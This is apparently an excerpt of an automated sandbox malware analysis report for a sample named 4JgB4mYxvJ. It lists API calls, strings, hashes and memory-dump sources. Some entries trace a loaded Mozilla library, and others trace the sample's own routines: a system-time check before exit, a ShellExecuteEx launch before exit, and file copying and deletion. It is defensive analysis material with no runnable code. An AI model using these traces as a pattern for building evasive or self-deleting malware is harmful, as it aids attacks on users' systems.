Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 5890e76918aaf3f1851ac369184c86e9be7987554c6f93884977a3bccf43e486
Instruction ID: 9ad7a4f8f54d6311fb28ce17829eb869eb50f8dc951fe8193ee1bc87de52ebc1
Opcode Fuzzy Hash: 5890e76918aaf3f1851ac369184c86e9be7987554c6f93884977a3bccf43e486
Instruction Fuzzy Hash: 0E21EA71A0020A9BDB008FA5CC54BAAFBB9FF86314F244129E918DB351F775D912D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD06E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD06E78

Part of subcall function 6CD06A10: InitializeCriticalSection.KERNEL32(6CD2F618), ref: 6CD06A68
Part of subcall function 6CD06A10: GetCurrentProcess.KERNEL32 ref: 6CD06A7D
Part of subcall function 6CD06A10: GetCurrentProcess.KERNEL32 ref: 6CD06AA1
Part of subcall function 6CD06A10: EnterCriticalSection.KERNEL32(6CD2F618), ref: 6CD06AAE
Part of subcall function 6CD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD06AE1
Part of subcall function 6CD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD06B15
Part of subcall function 6CD06A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CD06B65
Part of subcall function 6CD06A10: LeaveCriticalSection.KERNEL32(6CD2F618,?,?), ref: 6CD06B83

MozFormatCodeAddress.MOZGLUE ref: 6CD06EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD06EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD06EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CD06EFF

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 52b431aca51c280ce0492e3a2550c1b384f5e6ed9dbc5419b79dd1aae373b25d
Instruction ID: 157a0abdb2752a17c44c163aecccf8d6d895c104f5b517a1a6c5a89a6057325f
Opcode Fuzzy Hash: 52b431aca51c280ce0492e3a2550c1b384f5e6ed9dbc5419b79dd1aae373b25d
Instruction Fuzzy Hash: 5D21C171A0421A9FDB10CF29D8856DE7BF8FF84308F044039E90997250EB749A99CF92

Uniqueness

Uniqueness Score: -1.00%

Function 004135E0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0041D8AC,?,?,004137D1,00000000,?,042C3828,?,0041D8AC,?,00000000,?), ref: 0041362C
sscanf.NTDLL ref: 00413659
SystemTimeToFileTime.KERNEL32(0041D8AC,00000000,?,?,?,?,?,?,?,?,?,?,?,042C3828,?,0041D8AC), ref: 00413672
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,042C3828,?,0041D8AC), ref: 00413680
ExitProcess.KERNEL32 ref: 0041369A

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 2d8e78d0dab9869f9047db96de010d3925a814e04e314d7ab9fafc73e4c55430
Instruction ID: a268315634fda69ed0a537ef202e87298384d27024bdd5aae2ec85167a5c17e0
Opcode Fuzzy Hash: 2d8e78d0dab9869f9047db96de010d3925a814e04e314d7ab9fafc73e4c55430
Instruction Fuzzy Hash: 6421BA75D14209ABCB14EFE4D945AEEB7BABF4C305F04852EE50AE3250EB345644CB68

Uniqueness

Uniqueness Score: -1.00%

Function 6CD076C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CD076F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CD07705

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CD07717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CD0778F,00000000,00000000,00000000,00000000), ref: 6CD07731
free.MOZGLUE(00000000), ref: 6CD07760

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 526bc6c6099c34ce332719185c55a66c5409491ac8a24f630d10ea64e8d24b67
Instruction ID: 5417b9e6f6cafc315417538a0d02471548144537ea1426d4db29f710e3f387e7
Opcode Fuzzy Hash: 526bc6c6099c34ce332719185c55a66c5409491ac8a24f630d10ea64e8d24b67
Instruction Fuzzy Hash: 9D11C8B1A05215ABE710AF799C44BAB7EF8EF86354F044429F988E7300F775884087F2

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CCA3DEF), ref: 6CCE0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CCA3DEF), ref: 6CCE0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CCA3DEF), ref: 6CCE0DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CCE0D97, 6CCE0DBE
<jemalloc>, xrefs: 6CCE0D92, 6CCE0DB9

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 45e0fc6a72f57c136f94c45a52928a21769bc097cb0d74f6cf68f93374fdb9d2
Instruction ID: d80b1d4fdd82fc24a3cdbaa0f35c29b1a48be1d42761eaee8c84e284161cbf62
Opcode Fuzzy Hash: 45e0fc6a72f57c136f94c45a52928a21769bc097cb0d74f6cf68f93374fdb9d2
Instruction Fuzzy Hash: 9BF0B42138039432E62413664C0AB5A666DB7C7B29F248065F715DAAC0EF99E900A7E9

Uniqueness

Uniqueness Score: -1.00%

Function 004185A7 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004185B3

Part of subcall function 00417B2C: __getptd_noexit.LIBCMT ref: 00417B2F
Part of subcall function 00417B2C: __amsg_exit.LIBCMT ref: 00417B3C

__getptd.LIBCMT ref: 004185CA
__amsg_exit.LIBCMT ref: 004185D8
__lock.LIBCMT ref: 004185E8
__updatetlocinfoEx_nolock.LIBCMT ref: 004185FC

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction ID: cdd0eec35e4bf80da2317afb9b55000317a90f0185e5a3c9ee5e330d7cc08b67
Opcode Fuzzy Hash: ce05a91ea9c2b8e711ac95fae42e6a284d9b9390d13ac8f67e08820a18d7d66a
Instruction Fuzzy Hash: A4F09632A49710AAD721BBBA9C027CA77B1AF00739F10411FF505A62D2CF6C69C1CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 6CCCD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CCDCBE8: GetCurrentProcess.KERNEL32(?,6CCA31A7), ref: 6CCDCBF1
Part of subcall function 6CCDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCA31A7), ref: 6CCDCBFA

EnterCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD4F2
LeaveCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD50B

Part of subcall function 6CCACFE0: EnterCriticalSection.KERNEL32(6CD2E784), ref: 6CCACFF6
Part of subcall function 6CCACFE0: LeaveCriticalSection.KERNEL32(6CD2E784), ref: 6CCAD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD52E
EnterCriticalSection.KERNEL32(6CD2E7DC), ref: 6CCCD690
LeaveCriticalSection.KERNEL32(6CD2E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6CCDD1C5), ref: 6CCCD751

Strings

MOZ_CRASH(), xrefs: 6CCCD4BB

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: a7c18ff7de1b195d84dd6909ab5d9ed5b881a938a97ca1305c8c42e37067cce2
Instruction ID: 3f8e6f6383860098f7781103642844a029e4ebd40cbe90e3ede7b1351b8ac284
Opcode Fuzzy Hash: a7c18ff7de1b195d84dd6909ab5d9ed5b881a938a97ca1305c8c42e37067cce2
Instruction Fuzzy Hash: 6B51C271B04B019FE314CF28C19465AB7E5FB89318F554A2ED6AAC7F94E774E800CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCF4721

Part of subcall function 6CCA4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CCE3EBD,00000017,?,00000000,?,6CCE3EBD,?,?,6CCA42D2), ref: 6CCA4444

Strings

., xrefs: 6CCF476A
profiler-paused, xrefs: 6CCF46E4
-%llu, xrefs: 6CCF4733

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 7eb36ed97b3298152adaa08603cdc0e1cbaa104e6d59eab442086ec72889ae6a
Instruction ID: 4f944198e6e585e5480930cfb62b68e0b2f0cc59f03a5dad3b34f97a1c1ea673
Opcode Fuzzy Hash: 7eb36ed97b3298152adaa08603cdc0e1cbaa104e6d59eab442086ec72889ae6a
Instruction Fuzzy Hash: E63157B1F042084BCB08CF6CE99129EBBE6EF88314F15813EE9159BB40FB749805CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCA4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CCE3EBD,6CCE3EBD,00000000), ref: 6CCA42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CCFB127), ref: 6CCFB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CCFB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CCFB4E4

Strings

pid:, xrefs: 6CCFB4DE

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: a5e9b86e23e5483abebc1f65a67eb6b83669a9e4c726ea0a6d55bd3fcf036d0f
Instruction ID: 100da1d65fe5feb874fcd0108fb75cd6bfc3a5691cbf4a29559d81e21183b1e3
Opcode Fuzzy Hash: a5e9b86e23e5483abebc1f65a67eb6b83669a9e4c726ea0a6d55bd3fcf036d0f
Instruction Fuzzy Hash: 37313331A01208DFDB00DFA9C990AEEBBB5FF04308F140529D96167E41E732E84ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 004132F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00413323

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

ShellExecuteEx.SHELL32(0000003C), ref: 004133E6
ExitProcess.KERNEL32 ref: 00413415

Strings

<, xrefs: 00413399

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: c182b738d743941975b88c70cbea89b78e61d7b8e1b7f3fcd29da090f854d54b
Instruction ID: 9270ca21e45796c21bf284f368f95b7d0dbf71ea93a5a7258f1c6a627d8bac6b
Opcode Fuzzy Hash: c182b738d743941975b88c70cbea89b78e61d7b8e1b7f3fcd29da090f854d54b
Instruction Fuzzy Hash: 383144B19012189BDB14EB91DD91FDDBB78AF48304F80518DF20566191DF746B89CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CCEE577
AcquireSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEE584
ReleaseSRWLockExclusive.KERNEL32(6CD2F4B8), ref: 6CCEE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CCEE8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CCEE722, 6CCEE750, 6CCEE7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CCEE655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CCEE826, 6CCEE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CCEE777
MOZ_PROFILER_STARTUP, xrefs: 6CCEE5A1, 6CCEE5CC, 6CCEE5FF, 6CCEE62A

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1dadf21983a1cdb4daf999ce2c40d23e41bad3cf377bf890f7d97ef725b719e3
Instruction ID: 84929cab9bab4b2a35fe97ca76e57709e976d2ed11a58f407a5660255fe7e0d6
Opcode Fuzzy Hash: 1dadf21983a1cdb4daf999ce2c40d23e41bad3cf377bf890f7d97ef725b719e3
Instruction Fuzzy Hash: 7D11C431A04364DFEB109F18C448B5ABBB8FB8A76CF01091DEB4647B50D7B9A806CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 00415450 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00415C1E,00000000), ref: 0041545B
HeapAlloc.KERNEL32(00000000,?,?,00415C1E,00000000), ref: 00415462
wsprintfW.USER32 ref: 00415478

Strings

%hs, xrefs: 0041546F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesswsprintf
String ID: %hs
API String ID: 659108358-2783943728
Opcode ID: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction ID: 2a04a3b42468460cff415e79ad4cc7303691da2b1e165ac812b33aed5ccf4e4e
Opcode Fuzzy Hash: 9d0e4c61c44ae66937b299eb0154705507e44eb3acdcd074a2a0d5819eeee3b8
Instruction Fuzzy Hash: A5E0ECB5A40608BFDB20DFD4ED0AEAD77A9EB48701F100194F90AD7640DA719E109B95

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCF0CD5

Part of subcall function 6CCDF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCDF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CCF0D40
free.MOZGLUE ref: 6CCF0DCB

Part of subcall function 6CCC5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CCC5EDB
Part of subcall function 6CCC5E90: memset.VCRUNTIME140(6CD07765,000000E5,55CCCCCC), ref: 6CCC5F27
Part of subcall function 6CCC5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CCC5FB2

free.MOZGLUE ref: 6CCF0DDD
free.MOZGLUE ref: 6CCF0DF2

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 02f51269669c5ff7e1b031a10434976d09f7628264fb4f2910b427fdce8c3c97
Instruction ID: e3816c673a00d7ad3d5c48b692c8757708531ed944119ac1046574fb2c6bb40f
Opcode Fuzzy Hash: 02f51269669c5ff7e1b031a10434976d09f7628264fb4f2910b427fdce8c3c97
Instruction Fuzzy Hash: 37412A759097808BD360CF29C08079EFBE5BFC9B14F118A2EE9E887751E7709445CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CCFCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFCDA4

Part of subcall function 6CCBCA10: malloc.MOZGLUE(?), ref: 6CCBCA26

Part of subcall function 6CCFD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CCFCDBA,00100000,?,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFD158
Part of subcall function 6CCFD130: InitializeConditionVariable.KERNEL32(00000098,?,6CCFCDBA,00100000,?,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFCDC4

Part of subcall function 6CCF7480: ReleaseSRWLockExclusive.KERNEL32(?,6CD015FC,?,?,?,?,6CD015FC,?), ref: 6CCF74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFCECC

Part of subcall function 6CCBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCBCAA2

Part of subcall function 6CCECB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CCFCEEA,?,?,?,?,00000000,?,6CCEDA31,00100000,?,?,00000000), ref: 6CCECB57
Part of subcall function 6CCECB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CCECBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CCFCEEA,?,?), ref: 6CCECBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CCEDA31,00100000,?,?,00000000,?), ref: 6CCFD058

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 11f958d9e72cf157e033aea40cd4d56e12b8c7611ed66777ce3c828e22b3bfc8
Instruction ID: d26afa09ceadb14971ba2297a29e958ebc5ffd206ab00793bb875ae88531f5b2
Opcode Fuzzy Hash: 11f958d9e72cf157e033aea40cd4d56e12b8c7611ed66777ce3c828e22b3bfc8
Instruction Fuzzy Hash: 5AD17F71B04B069FD758CF28C480799F7F1BF89308F01862DD96987711EB31A9A6CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040CB50 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,042C7660,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040CBD1
lstrlen.KERNEL32(00000000), ref: 0040CDE8
lstrlen.KERNEL32(00000000), ref: 0040CDFC
DeleteFileA.KERNEL32(00000000), ref: 0040CE75

Memory Dump Source

